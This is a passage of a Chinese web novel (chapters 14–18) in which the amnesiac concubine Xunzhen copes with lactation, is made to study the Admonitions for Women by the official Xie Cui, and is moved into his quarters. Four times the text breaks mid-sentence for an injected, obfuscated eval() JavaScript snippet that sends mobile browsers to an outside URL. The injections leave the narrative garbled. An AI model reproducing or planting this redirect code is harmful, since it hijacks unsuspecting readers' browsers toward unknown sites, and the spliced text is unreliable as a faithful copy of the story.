寻真微微伸了下头,往谢漼的腰后望去。 谢漼的气息忽而近了,还没等寻真反应过来。 手腕被谢漼一把攥住。 寻真呼吸一滞,不由抬头望去。 谢漼:“乱摸什么。” 语调平缓,也没什么表情。 寻真耳根染上一点红:“……我不知道怎么解开。” 谢漼慢慢引着她到正确位置。 指尖触及带扣,谢漼便松开了手。 寻真一拨,革带便松松垮垮地垂落,伸手接住,置于一旁的几案之上。 接着是把他外袍脱下来? 目光找了找,在外袍一侧看到领扣,寻真抬起手。 解开扣子,外袍衣领朝两边敞开,露出内里的中衣。 中衣领口处,露出一小片白皙胸膛,羊脂玉般温润。 视线上移,是线条流畅的颈部。 经脉隐现,喉结微隆。 寻真瞧着,忽觉喉咙干涩,竟不由自主地干咽了一口口水。 “咕咚”一声,在寂静无声的内室中,分外清晰。 少顷,谢漼从寻真手中扯出衣袍,转身迈向净室。 寻真坐在床沿,听着净房传来的水声。忍不住拍了一下脑门。 她刚才咽口水了? 就因为看了谢漼的脖子? 在谢漼还没回来之前,寻真决定直接躺下,装睡。 大概是真的累了,寻真一躺下,没多久,就沉沉睡去。 谢漼什么时候回来的都不知道。 隔日,寻真悠悠转醒,看着床帐的绣纹。 这一觉,睡得极为舒畅, 她坐起,揉眼睛,脑子还有点懵,总感觉好像忘了点什么…… 月兰的声音在耳畔响起:“姨娘醒了?” 寻真:“……现在什么时辰了?” 月兰:“巳时二刻。” 月兰转头,吩咐丫鬟们速速准备洗漱用品。 巳时二刻,大概是上午九点半。 引儿捧着帕子上前,轻柔地为寻真擦拭面庞。 寻真忽然就想起来了:“……我是不是忘记去请安了?” 月兰闻得此言,嘴角上扬,笑容爬上脸颊:“姨娘无需去夫人那儿请安啦!爷走时,特地吩咐过了,允姨娘免了晨昏定省。” 寻真:“真的?” 昨天谢漼还说了什么来着—— 晨昏定省,乃妾室的本分。 月兰忙道:“奴婢骗您这个作甚!姨娘,爷可真真是将您宠到了心尖上!” 寻真鸡皮疙瘩起了一身。 快闭嘴吧…… “还有。”月兰有点激动的样子,“爷走前还给您留了话。” 寻真:“别告诉我!” 月兰:“爷说了,怜惜姨娘刚诞下麟儿,身体尚在调养之中,那晨昏定省之事便免了。又思及姨娘如今记忆全失,诸多事宜皆懵懂不知,不好就此放任不管,唯有爷亲自将姨娘放在身边悉心教导,方能安心。只是此处离爷的居所甚远,爷往来多有不便,故而由姨娘主动前往静远居,也好趁此机会学学如何侍奉夫君。” 月兰顿了顿,又接着道:“爷还说了,早晨便让姨娘睡个安稳,只需在爷下了值之后前往,伺候爷用饭便足矣。” 小丫鬟端着甜羹,递至寻真面前。 寻真舀了一勺,突然没什么胃口吃了。 反正谢漼和谢漼他大老婆,必须得选一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776136|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是吧?! 惠宁院。 佳肴满桌,吕令萱仅略动几筷,便觉索然无味,再无进食之意。 宋嬷嬷赶忙近前,满脸堆笑,轻声劝慰:“我的好夫人呐,您可千万要保重自己的身子。莫要因那起子不知天高地厚的贱蹄子,平白气坏了自己,伤了身,那可就真真不值当了。” 吕令搁下手中玉筷,面有倦:“我实是无甚胃口。” 凝冬咬牙道:“此女当真恃宠而骄。妾室入府立规矩,本就是天经地义。她倒好,才受了区区一日的管束,便迫不及待地跑到爷跟前告状。真真是从未听闻哪家小妾如此会拿捏姿态。嬷嬷这次当真是看走了眼!” 宋嬷嬷冷笑一声:“她这般不知收敛、骄纵无度,迟早有一日会失了宠爱!爷是何等人物,岂会轻易被她这等浅薄女子所左右?如此看来,夫人实不必忌惮,不过是个蠢货罢了!如今小公子既已记在夫人名下,夫人只需用心照料,让那孩子与您亲近些。待得日后爷对她的那点新鲜劲儿过了,她再无依傍,届时还不是任凭夫人处置?” 吕令萱眼中闪过一丝厌色,轻声叹道:“我又怎会不知此理,只是那孩子,我一见便心生抵触,实难真心相待。” 宋嬷嬷温言相劝:“夫人无需挂怀,让下人好生养着便是。夫人只需记着偶尔前去看上一眼,全了正室的颜面即可。当下于夫人而言,最为紧要之事,乃是为爷诞下嫡亲子嗣,如此方能稳固夫人在府中的地位。” 吕令萱听闻此言,微微垂首,眼睑轻掩,幽然长叹一声,目光不知落于何处。 午后,寻真在院中运动了三个小时,出了一身汗。 这几天锻炼下来,寻真面色红润,气色都好了很多。 寻真回屋换衣,不经意间瞥见胸前有白色分泌物, 心下一惊,这个时代也不能拍片,万一是什么大毛病怎么办? 于是把月兰与引儿唤进来。寻真问:“这里有没有什么妇科方面的女大夫啊?” 月兰急忙问道:“姨娘怎么了,有哪里不适吗?” 引儿:“不若将上次来问诊的大夫请来再瞧瞧吧,奴婢这便去跟瑞宝说!” “诶,等等——” 寻真忙叫住,让她们走近,掀开衣服给她们看了下。 只见胸前点点白色分泌物不断渗出。 月兰与引儿皆未经人事,且寻真诞下之子又即刻被抱走,二人一时竟未曾往哺乳上思量。加之昨日前寻真并未出现这般症状,此刻见此情形,两人心中皆感凝重,暗自担忧莫不是什么疑难杂症。 然而这私密之处,不好让男大夫前来诊视。 后宫中,设有女医之职,专为后宫妃嫔排解妇科忧患。 但在民间,女医师就很少了。 月兰:“我这便差瑞宝去寻女医师来。” 谢漼下了值,便听随从说西院那儿下午请了女医师,似是姨娘患了什么急症,于是差承安去问。 承安问清了详情,回来见谢漼,有些难以启齿,不知该如何禀告。 “何事遮遮掩掩?”谢漼停了笔,“可是什么疑难杂症?” 承安面部浮现微红,嗫嚅半响,方低声说道:“爷,此并非病症,乃乳期正常表现。据那姜娘子所言,姨娘因年纪尚幼,身子骨未彻底长成,且此前心绪不佳,忧愁烦闷淤积于胸,致令气血不畅,乳汁分泌故而迟缓……” “如今姨娘身子已然大好,每日饮食俱佳,睡眠安稳,心情亦渐趋舒畅,故而那……那处血脉通顺,乳汁自也畅流无碍了……”言罢,额上竟已隐隐见汗。 谢漼难得愣了一会儿,鼻尖墨滴滑落,于纸上晕染开来,黑色大片蔓延。 15. 第 15 章 下午看大夫,搞得寻真很尴尬。 怪她,没常识。 总忘了她这具身体是生过小孩的。 而且那玩意儿来了后,令寻真颇为困扰。 总溢出来,湿了衣服,没过多久就得擦身、换衣。 偏偏谢漼又吩咐过了,要她过去他院子伺候用膳。 寻真心中将谢漼咒骂了数遍。 换衣服时,愁着眉:“要不找个棉团来垫着?总溢出来,好烦啊!” 月兰:“方才姜娘子叮嘱过,定要保证此处通风。若是闭塞难通,乳汁淤积,易引发炎症。姨娘且忍耐些许,爷用膳不过须臾时辰,回来再处置便是。” 寻真怨念的小眼神投向月兰。 你不知道这个很尴尬的吗? 该死的谢漼! 寻真被仆从领至谢漼的院子里。 谢漼闻得下人禀告,自书房走出,迈入膳厅。 抬眸看了一眼寻真. 寻真觉得他那眼神有点怪怪的,说不上来的感觉。 桌上摆好了菜,寻真站在一旁,开始为谢漼布菜。 寻真只夹了几道菜,谢漼便示意她一同坐下吃。 寻真也不跟他客气,直接落座。 谢漼用餐时极为安静,举止优雅,细嚼慢咽,食量亦不多,不过吃个八分饱,便搁下了筷子。 寻真在旁,难免有些拘谨,时刻留意着礼仪,不敢让碗筷相碰发出声响,进食的速度也刻意缓下来。 这顿饭吃得颇为压抑,只盼着能早些结束。 谢漼停箸,寻真也放下筷子。 心想着,还是回去加个夜宵吧。 要不等会研究下做个烧烤? 寻真正要行礼告辞,话未出口,却听得谢漼道:“随我来书房。” 什么! 不是说只要陪吃饭就好了? 怎么还有额外服务啊! 寻真只得默默跟上。 谢漼的书房单独成院,与正堂内院之间隔以曲径回廊,幽然相别。 小径蜿蜒,周围草木葱茏,相互掩映。 踏入书房,一张书案临窗而置。书案右方,设一香几,香几上,一尊香炉静立。 袅袅檀香升腾,满室生香。 靠墙处,有一座书架,上面摆满了各类古籍善本。角落则安置一张罗汉床,上面摆有一张小几,小几上布着棋盘。 内里另有一间小室,寻真目光轻轻掠过,室内桌上,茶具一应俱全。 墙上高悬两幅画卷,左右呼应,一幅绘竹,一幅画兰。 看画风,应该是出自谢漼之手。 古代文人,常以梅兰竹菊自比。 看来谢漼也不例外。 寻真正四处打量,谢漼已走到案前:“真儿,磨墨。” 寻真应了一声,走过去。 加水,磨墨。 第二次没翻车。 寻真搅着墨锭,脑海里浮现月兰说的那句话。 【唯有爷亲自将姨娘放在身边悉心教导,方能安心。】 忍不住磨了磨牙。 谢漼扼袖,提笔蘸墨。于桌前挥毫泼墨,笔走龙蛇。 寻真静静立在一旁,此刻她的双腿已有些酸麻,眼神不经意间扫向一旁的椅子。 似是察觉她心中所想,谢漼头也未抬:“累了,便坐吧。” 寻真目光在屋内游移,随后至角落的罗汉床旁,坐下。 她单手托腮,百无聊赖地看着谢漼的背影。 目光一转,望向书架,谢漼这里应该都是经史子集,圣贤书,估计没什么有意思的书。 寻真的眼神开始四处乱转,话说,她的春宫图,还有那张她好不容易画出来的人体工学椅图纸,被他藏到哪儿了? 寻真低头摆弄棋盘,跟自己下五子棋。 谢漼忽地出声唤道:“真儿。” 寻真:“嗯?” 谢漼:“为我拿《律疏》的卷四来。” 寻真:“哦。” 寻真起身,迈向书架。她仰起头,目光顺着书架逐层而上。 谢漼要的那本,在最顶层。 她举起手,一下下踮脚,尽力去够,然而指尖与书册却始终差着些许距离。 “倒是忘了。”谢漼不知何时已悄然行至她身后,低沉的声音在她耳畔响起,“真儿应是拿不到的。” 寻真身体陡然一僵。脸侧出现了一只手。 谢漼一手撑着书架,另一只手则举起取书。 他的身躯从后面将寻真围住了。 谢漼取了书,却并未即刻离开。 他垂首,视线撇过寻真的某处。 谢漼居高临下,寻真的每一丝细微的反应,皆毫无遗漏地落入他的眼底。 寻真攥了攥拳,脖颈处泛起一圈鸡皮疙瘩。 谢漼怎么还不走? 却听得他轻声道:“转过身来。” 寻真仿若未闻,身躯纹丝未动。 谢漼将手搭在她的肩头。 寻真的身体瑟缩了一下,紧接着,被他缓缓掰过身子。 二人面面相对。 谢漼目光停在她脸上,那目光似有实质,带着丝丝缕缕的粘稠。 令寻真很不自在。 而那只原本在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776137|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩上的手,慢慢滑落,沿着她的手臂蜿蜒而下,落在她腕间。 他稍稍用力,握住她的手腕,往书案那边拉过去。 寻真脑海里瞬间蹦出一些书房PLAY的片段。 谢漼应该没那么无下限吧?! 不好! 胸口处涨涨的,那种要溢出来的感觉又来了! 寻真的脑中刹那间拉响了一级警报,她不假思索,挣脱了谢漼的手。 “我现在身体有些不适,留在这儿应该也帮不上什么忙。不如先回去了吧?” 她也不等谢漼有所回应,转身便离开。 寻真步速飞快,片刻间已至门口。 “站住。”谢漼的声音从身后传来,“要去哪?” 寻真立在门口,仅差一步便能跨出门槛。 “过来。” 谢漼稍稍放缓了语调:“真儿。” 人在屋檐下,不得不低头。 寻真拢了拢衣襟,走了回去。 谢漼用笔尾虚空点了点砚台。 寻真松了口气,还好只是磨墨。 砚台中墨汁渐渐见底,谢漼洋洋洒洒写满了一张宣纸。 字迹墨韵流畅,力透纸背。 寻真见墨少了,添了些许清水,研磨。 墨锭在砚台中转动,发出轻微的摩擦声。 谢漼拿起案桌上的纸,端详自己所写之字,似在品鉴其中的韵味与瑕疵。 谢漼取了新纸,再度执笔蘸墨。 手伸过去时,寻真仿若惊弓之鸟,突然往后退了半步。 谢漼抬眸望去。 寻真的耳根此刻涨得通红。 “又怎了?”他问道。 寻真垂着头,声若蚊蚋:“我真的有些不舒服……可以先回去吗?” “哪里不舒服?” 寻真咬唇不语,谢漼搁下笔,上前一步握住她的手。 这一握,却发觉她浑身僵硬,似在极力忍耐着什么。 谢漼心下疑惑,遂将她拉至身前,左手食指挑起她的下巴,目光直直地盯着她的眼睛。 “哪儿不舒服?”他又问了一遍。 寻真躲闪着他的目光,心中的窘迫愈发浓烈。 别问了好吗,让我走吧,大哥! 谢漼瞧她这般模样,正欲唤人去请大夫来,忽然感觉手上一阵凉意。 他低头看去,不知名液体滴落在他的右手上。 一滴,两滴。 谢漼不禁一怔,松开她。 他抬起右手,只见食指和中指的指尖上,挂着两滴莹白的液体。 空气好似凝固了。 16. 第 16 章 寻真尴尬得恨不得找个地缝钻进去。 她猛地转身,直接跑了出去。 院中的仆人们瞧见她从书房跑出来,发髻松散,钗环微颤,全然失了平日的温婉仪态,不禁面露惊愕之色。 一阵风般掠过,仆人连行礼的间隙都不曾有。 众人呆立原地,面面相觑。 书房内也能清晰听到她越来越远的跑步声。 寻真窜进了房间,仿若一道虚影。 月兰与引儿在偏屋隐约听闻些许动静,心下疑惑,出来查看,见主屋已透着光。 寻真气喘吁吁地坐在梳妆台前,用衣袖胡乱地扇着风,脸颊涨得通红。 月兰轻步上前:“姨娘,您何时来的?怎的这般模样,满脸是汗?” 寻真:“就刚刚。” 月兰:“姨娘那处可有不适?……奴婢现在为姨娘净身更衣吧?” 寻真一听,红晕更甚,蔓延至耳根。 可别提了! 今天真是把老脸都丢尽了! 为防重蹈覆辙,毕竟以后每天都要去谢漼那陪吃, 寻真苦思冥想,灵光乍现。 当她准备拿月事带充当胸垫时,月兰与引儿那神情仿若瞧见了什么惊世骇俗的事。 大周朝贵族用的的生理期用品,是用丝绸缝制而成,内中絮以棉花。 寻真取来两条月事带,放案几上,大致比量了一番尺寸,剪出一个圆形。 再将剪下来那一片覆到另一片月事带上,依样描摹,继而裁剪。 剪毕,寻真拎起一瞧,发现她剪成椭圆形了。 形状有些磕碜,不过放里面,也没人看见,无所谓了。 寻真看着,突然想起物理老师,她往黑板上随手一画,就是一个非常完美圆润的圆。 寻真叹了口气。 月兰出言劝道:“姨娘,此等污秽之物,怎可垫于那处?” 引儿:“是啊,姨娘。” 寻真:“反正放里面,又没人能看见。” 寻真捏着两片剪好的月事带在胸前比划起来。 月兰见状,撇过脸去。心想,自家姨娘行事未免太过不拘小节,虽说身处内室,然这般举动终究太过粗俗不雅。 寻真往衣内填塞之时,月兰再度劝阻:“姨娘,莫要放此物了,即便衣裳沾湿些许,亦无妨……待您归来之际,天色恐已昏沉,旁人断不会近身,无人会瞧见的。” 寻真:你是无妨,给谢漼看见了,我不尴尬的啊? 寻真:“你家爷难道不是人啊?” 月兰顿时惊愕万分,未料到主子竟是怕爷瞧见。 “姨娘……爷若见了,怜惜还来不及,您怎反倒……” 自主子失忆之后,内心似从未将爷视作“夫主”,对待爷的态度竟与对待外男无异。 爷那般心思通透之人,定会察觉。 寻真自信满满道:“月兰,你就放心吧,不会被发现的。” 时辰差不多了,寻真垫好垫子,非常有安全感。 来之前,寻真就不停给自己做心理暗示,当昨天什么都没发生。 见了谢漼,仍觉得有一丝尴尬。 然而谢漼面上依旧是那副淡然自若的神情,寻真淡定了。 看他样子,似乎并没放在心上? 用膳,一切照常。 寻真给他夹了几道,他就示意她一同坐下吃。 吃完饭,去书房。 寻真瞥了眼身侧的谢漼。 他着一袭淡青长袍,步伐不疾不徐。 面容平和,喜怒不形于色。脸上仿佛时刻覆着一层薄纱,叫人捉摸不透。 周身散发着清冷疏离之气,浑身上下就写着三个字—— 性冷淡。 古代礼教森严,读书人又尤其看重名节操守,大该都不会在白日做那事,更何况还是在书房中。 对他们来说,这是亵渎斯文之举,应该是不会发生的。 昨晚脑补的书房PLAY,是她想多了。 寻真踏入书房,目光轻扫,发觉书房的格局较以往略有不同。 谢漼的书案旁,并列放置了一张略小的书案,居于里侧。小书案上,笔墨纸砚摆放齐整,还有一本书。 寻真的视线落在那书上。 谢漼:“恐你闲时无聊,特为你备下此书。今日,你且先将其通读一遍,若有心得感悟,可书于纸上。” 寻真应了一下,到书案前,目光定在那书皮上,二字醒目地映入眼帘。 《女戒》 谢漼不再管她,磨起墨来,墨成之后,落座,投入到政务之中。 寻真也坐下,拿起《女戒》。 瞥了谢漼一眼,心里嘀咕起来。 真行啊,原来在这儿等着她呢! 算起来,寻真来这儿也有两个多月了,现在也勉强能够看懂这个朝代的文字,只是阅读速度仍较为迟缓。 谢漼一旦沉浸某事中,专注度极高,全然沉浸于无我之境。 周遭些许翻书声,当然无法惊扰他。 半个时辰后,谢漼书罢一篇公文,搁笔暂歇,转头望向寻真。 只见寻真仅双手捧着书看,其桌上纸笔未曾有动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776138|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的痕迹。 谢漼道:“看到何处了?” 寻真道:“看完了。” 谢漼目光微凝:“可有一二心得?” 寻真语调平稳无波,翻回第一页缓缓道。 “第一篇着重讲了,女子当秉持卑弱、习劳、主祭祀等理念,以尽家庭之责。” “第二篇强调夫妇之道的重要及相互依存关系。” “第三篇指明女子应以敬顺态度对待丈夫,以防失和。” 谢漼叫了停:“第五篇讲了什么?” 寻真翻到那一页,手指不自觉地微微用力,捏紧了书页,并未作答。 谢漼并未恼怒,只看着她头顶,淡声道:“将此一篇抄写一遍罢。” 寻真应了一声。 寻真心中愈想愈憋闷,将一腔情绪宣泄在纸上,越抄越快。 寻真每天都有练毛笔字。为求速成,还在手腕上悬了沙袋。 现在已经看着像字了。 寻真写完了,就摊在桌上。 脑海放空望窗外。 看了辣眼睛的东西,要让眼睛休息一下。 谢漼忙完公务,将一应文件归位,而后起身,行至寻真身侧,拿起她的“杰作”,垂目细览。 俄顷,他轻叹一声,将那纸张缓缓放下。 “明明先前已有显著进益,如今又倒退回去了。”谢漼道,“药可有按时饮服?” 寻真点点头。 谢漼:“今日便到此为止,早些回去歇息。” 寻真起身。 谢漼似又想起了什么,语气中略微夹带了些许斥责之意:“切不可再似昨日那般跑跑跳跳。” 寻真:“嗯。” 到门口时,寻真感觉胸口处有什么东西滑落。 “啪嗒”一声,一块已然被液体浸湿的椭圆布片坠落在地。 寻真头皮一阵发麻,迅速俯身捡起,将布片攥在手心。 寻真感觉有液体从指缝中缓缓渗出来。 即将跨出门槛之时,谢漼的声音自背后传来:“回来。” 寻真身形一滞,稍作镇定,转身朝他走去。 谢漼双眸微垂,目光落在她手上:“手里拿着什么?” 随便吧…… 不管了…… 在谢漼的注视下,寻真摊开了手。 右手手心中,躺着一块椭圆形布片,布片因被紧紧捏握,满是褶皱。 寻真手心一片潮湿,隐隐黏着些水液,乳白色的。 谢漼:“这是何物?” 寻真垂着头,默默盯着自己的脚尖。 17. 第 17 章 谢漼径直步出书房,站于门口。 承安匆匆跑来,谢漼只简短地吩咐道:“去唤清挽院的那两个丫头过来。” 寻真抬头:“不用叫她们,我跟你说。” 承安朝着书房里面瞥了一眼,而后又瞧了瞧自家爷的脸色。 谢漼摆了摆手,意思是让他不必去叫了。承安默默退下。 承安以往没见过这位姨娘与爷相处的情形,只是方才姨娘的那一句话,便让他心底油然生出一种怪异感。 想那姨娘出身并非显赫,却敢以这般口气与爷言语。先前他听闻府中下人的种种传言时,本是不信的。 在他眼中,爷向来是最为克制之人,怎会轻易沉溺于女色之中。 依他看,爷对这位姨娘,不过是仅有一二分宠爱罢了,谈不上真正入了心。 可现在,他却忽然有些不确定了…… 书房内。 谢漼走了回去。寻真抬起手,仰头直视谢漼:“这个是月事带。” 此语一出,谢漼望向她的眼神瞬间有了些许微妙的变化。 寻真面不改色:“我最近涨乳,衣服总是被浸湿,隔不了多久就需要换,来你这儿换衣服不方便,我就用月事带做了这个。” 谢漼的视线先是从她的手挪至胸口,她衣衫上果然有微微湿痕。 左边的痕迹稍浅,右边的则较为明显。 谢漼的目光最后移到寻真脸上。 寻真脸上挂着一副“我做的事没有任何问题”的神情,极为坦然地立在他面前。 谢漼久久未曾言语,只是紧紧盯着她瞧。 寻真被他这目光看得心中直发毛。 到底要怎么样,痛痛快快来吧! 谢漼将她上下打量了好几回,最后,他落下一句:“近些日子,真儿便都宿在我院吧。” 什么? 寻真没反应过来,望向谢漼。 谢漼走了出去,对承安轻声吩咐了几句,大概就是让他告知寻真院里的人,将她的衣物及日常用品略作收拾,送至这院子里来。 不是吧…… 寻真万万没想到,会是这结果。 寻真一脸天塌了。谢漼转身回来时,她垂死挣扎道:“……爷,我还是回自己院子住吧,我怕会打扰到您……” 谢漼:“这会儿晓得低头服软了,方才那股子气势哪里去了?” 寻真嗫嚅道:“我……我住爷的院子,怕是不合适吧,若是让夫人知道了……” 谢漼:“无妨。” 寻真:“……那要住几日呢?” 谢漼凝视着她,轻叹一声:“我竟未曾料到,真儿失忆之后,性子竟变得这般恣肆随性,若不加以教导管束,迟早会闯出大祸来。” 寻真低下头,视线落在谢漼的腿上,心中将他咒骂了数遍。 谢漼继而说道:“如今唯有将你置于我眼皮底下,方能安心。” 月兰与引儿得知消息后,心中皆是震惊不已。二人匆忙将衣物打包,随承安一道来到静远居。 要知道,妾室与夫主同吃同住且住进夫主院子,此乃逾矩之举,若是传扬出去,外面定会肆意编排,说姨娘狐媚惑主,妄图与夫人平起平坐……虽说心有担忧,但主子得宠,两个丫鬟面上也觉有光。 两丫鬟服侍寻真洗漱完毕,退下,留寻真一人在谢漼的卧房中。 谢漼的卧房布置得有些清冷。 窗前书案上放着几册书籍,上方的墙挂着一幅《春竹》,走近了看,没有落款,但画风看着像谢漼的。 角落处有一尊香炉,散发着幽冷的香韵。 淡青色的床帏随风轻动,床褥和被子皆是素净之色。 以后要天天跟谢漼同睡一张床了? 天哪,她刚才为什么要逞一时之气,用那种语气故意挑衅谢漼? 在古代,月事带需要藏起来,不能置于明面上让人瞧见,即便是清洗也要避开旁人。 月事带以及经血,因关乎女性经期,皆被视作污秽不洁之物。 就连身为女人的月兰都这么认为,更何况谢漼这典型的古代封建士大夫? 她一定是被那本《女戒》给气到了…… 寻真在床边坐下,手搭在膝盖上,两眼发怔。 谢漼到了面前,寻真像是才发现他,吓了一跳,蹭地一下站起来。 谢漼:“更衣。” 寻真站起来,给他宽衣。 谢漼刚沐浴完,身上只披一件外袍。 谢漼眸光微动,见她胸前又有了异样。 偏她浑然未觉,为他宽衣解带,任水渍蔓延。 寻真给谢漼脱掉外袍,见他没别的指示,自行上了床。 寻真不认床,哪都能睡,很快便睡着了。 翌日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776139|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来,谢漼已经不在了。 月兰和引儿没把她的书带来,谢漼不在,书房不可擅入,就只能在案上练练字了。 写完一帖,有些无聊。 忽然有件事蛮好奇的。 便问:“你们爷是什么官啊?” 在她们面前,姨娘到现在仍以“你们爷”这般称谓,以前在自个院子也罢了…… 月兰:“姨娘,现下在爷的院子里。言语间万不可像以前那般随意,对爷,应当倍加敬重才是。” 寻真撑额:“哦……” 月兰:“爷之官职,乃国子监四门博士。” 国子监? 寻真:“那是教书的?” 月兰点头。 国子监四门博士。 主要教两类生员。一类是官员子弟,只有三品以上的官员子弟才有资格进入国子监学习。还有一种是从各地选上来的贤才。比如贡监生,那都是地方上精挑细选出来的尖子生,一路过关斩将才进的国子监。 四门博士不光管教书,还要负责筹备国家的重大祭祀和典礼。诸如皇帝登基大典、后妃册封仪式等。 国子监。 谢漼讲完,时常会留些许时辰,为学生们开悟答疑。 一学生跟谢漼年纪相仿,趋前拱手,恭问道:“博士,商军于牧野之战临阵倒戈,此为商朝覆亡之要因。然商军此举,只因为纣王失德、民心尽丧吗?” 谢漼:“商军众多士卒弃械而降,转投周师,此中缘由,实非一端。以你之见,当有何因?” 这学生沉思片刻:“学生思忖,其因有三。一则纣王无道,暴虐荒淫,致使民不聊生,军无斗志;二则周军蓄势已久,其势如虹,且善用谋略,广施仁德之名,使商军将士心生向背;三则商朝末年,政治腐败,贵族奢靡,军饷军备皆有亏缺,商军士卒久怀怨愤,故遇战则溃。” 谢漼点头:“正是此理。纣王失德,民心离散,此为根本;周军善谋,声名远播,此为诱因;商朝军政衰败,士卒离心,此为内应。三者相因,方致商军倒戈之局。” …… 谢漼一一答疑,学生们散去后,他迈步走向四门馆。 案前,谢漼书就一条陈。 忽然想起什么,竟一时怔忪发呆。 恰此时,同僚踱步而入,乃是五经博士宋启。 “缮之因何事而烦扰?” 18. 第 18 章 谢漼骤醒,搁笔:“方才听闻传信。西北诸地连遭旱魃肆虐,已逾两月滴雨未降,似此情形,恐致大旱。” 宋启面色凝重:“若遇大旱,百姓无以为食,必生乱象。曾闻往昔有大旱之年,饿殍遍野,易子而食,惨不忍睹。且旱情一起,盗匪亦会趁乱横行,劫掠乡野,危害社稷安宁。吾等身为国子监官员,虽不能亲赴田间抗旱救灾,然亦当尽己所能,出谋划策,以解君忧,亦为百姓谋福。缮之有何高见?” 谢漼:“依吾之见,当先兴修水利。疏浚旧渠,务使水流畅通无阻,可遣民夫并匠作往之,按力役之制,分拨工务。” “再者,劝课农桑之事亦不可缓。当教民深耕之法,翻土以保墒,令水气蕴于土中,不致速散。又宜选耐旱之谷种,如粟、黍之类,速为播布,或能于旱岁亦有所收。” 宋启点头:“缮之所言极是。官府亦当筹备粮储,充实府库,以备荒年赈济。且民间亦须劝谕储粮,教以储积之方,使家有余粮,心不惶惶。” …… 二人促膝长谈,各抒己见,反复斟酌,终有了初步定夺。 可先让国子监学生们一道搜罗历代关于抗旱救灾的良策,一一甄别筛选,择取其中可用的,整理成册。再将今日的讨论,书写下来,一道呈送朝廷。 谢漼提笔蘸墨,工工整整地写于纸上。 日薄西山。 谢漼整肃衣冠,辞别同僚。 但见余晖洒落,映照于朱瓦之上,熠熠生辉。 谢漼轻舒一口气,迈向马厩,打马而归。 谢漼踏入院子。 寻真本来在榻上昏昏欲睡,听到动静,坐直了身体。 两人相视。 寻真下了塌。 谢漼:“今日做了何事?” 寻真:“练了会儿字。” 谢漼走至案边,探手拿起案上数张宣纸,垂眸翻看起来。 寻真还以为他要点评几句。 谢漼看完就放了回去,瞥及桌上沙袋,目光一转,落到寻真右手上。 她手腕上有一圈红印。 寻真下意识摸了下手腕,手往后背。 谢漼取起沙袋,似乎是掂了掂重量:“此沙袋于你而言,过重了。练字一事上,需得循序渐进,不可急于求成。” 寻真:“哦……” 谢漼铺了一张纸,示意她过来:“你写与我看。” 啊…… 寻真走过去。 谢漼立于案侧,居然为她磨起墨来。 寻真瞧他一眼,谢漼今天吃错药啦? 他想干嘛? 寻真怀着警惕,落笔时身姿僵滞,手抖了抖,第一横便歪了。 知道谢漼在看,寻真硬着头皮写下去。 这字,比她最开始写得都不如。 她考试最讨厌监考老师站旁边! 写了十个字后,谢漼方开口:“停吧。” 随后,他移步到她身侧。 寻真一僵。 “再写一遍这个‘道’字。” 谢漼声落。寻真提笔,悬于纸上,正要落下,右手被捏住了。 一道麻痒之感如电芒顺着手背迅疾传开。 谢漼另一只手落于她腰间,微微施力:“书写之时,上身当正,肩背宜平,身不贴案,臂使七分力。” “气息放松,不要紧张。” 气息喷过来,谢漼好像是贴着她耳朵说的。 寻真更紧绷了。 谢漼握着她的手,缓缓在纸上写下这一“道”。 笔画规整,起笔收锋皆有法度。 谢漼继续往下写:“此贴是我十二岁时所书,摹的是晋公之体。需注意三点,横画处顿笔,形状如骨,刚健分明。长横笔画,中间需提笔写细,两端粗重……” 谢漼垂眼,见她眼神发直,显然心思已飘远。 “认真点。” 谢漼大掌往前挪,盖住寻真的腹部,稍一用力。 寻真颤了下,转身,用力推开了谢漼。 谢漼才沾了墨,笔尖凝聚了墨汁,这一推,案上墨汁四溅,洒在纸上、溅在两人的衣服上。墨汁晕染开来。 室内陷入窒息般的安静。 月兰进来,见两位主子无声对立,气氛古怪。 一个垂头,另一个凝视着对方。 两人身上墨色点点,仿佛是不慎将砚台碰翻。 月兰心下一惊,忙退了出去。 